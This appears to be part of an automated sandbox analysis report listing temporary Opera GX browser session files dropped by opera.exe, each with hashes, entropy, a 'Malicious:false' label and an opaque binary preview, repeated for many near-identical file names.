                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df091.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df0c0.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df0cf.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df0fe.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df19a.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df1aa.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df1d9.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df1e9.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df217.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df256.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df275.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df294.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df2d3.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df2f2.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df302.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df311.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3df350.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
